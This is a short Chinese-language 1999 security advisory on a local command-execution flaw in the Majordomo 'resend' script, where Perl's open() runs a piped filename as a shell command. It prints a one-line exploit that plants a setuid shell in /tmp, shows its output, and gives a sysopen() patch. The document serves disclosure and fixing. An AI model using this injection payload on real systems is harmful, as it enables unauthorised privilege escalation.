Majordomo Local resend可以执行命令发布时间:1999-12-28 更新时间:1999-12-28 严重程度: 威胁程度:本地管理员权限 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 SCO详细描述 resent包含了一个open()调用,能够执行一个外壳命令,所以可以用下面的方式 @|shell;commands;here来利用它。 测试代码 下面是它的利用方法: bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh /tmp/xnec;chmod 6555 /tmp/xnec' resend: must specify '-l list' at /usr/local/majordomo/resend line 77. bash-2.02$ ls -la /tmp/xnec -r-sr-sr-x 1 owner daemon 361688 Dec 29 06:26 /tmp/xnec 因此推荐Perl程序员用sysopen()替代open()以保证安全。 解决方案 下面是它的补丁文件: --- resend Thu Aug 19 10:12:03 1999 +++ resend+ Tue Dec 28 23:55:39 1999 @@ -58,7 +58,7 @@ if ($ARGV[0] =~ /^\@/) { $fn = shift(@ARGV); $fn =~ s/^@//; - open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped"); + sysopen(AV, $fn, O_RDONLY) || die("sysopen(AV, \"$fn\", O_RDONLY): $!\nStopped"); undef($/); # set input field separator $av = <AV>; # read whole file into string close(AV); 相关信息 |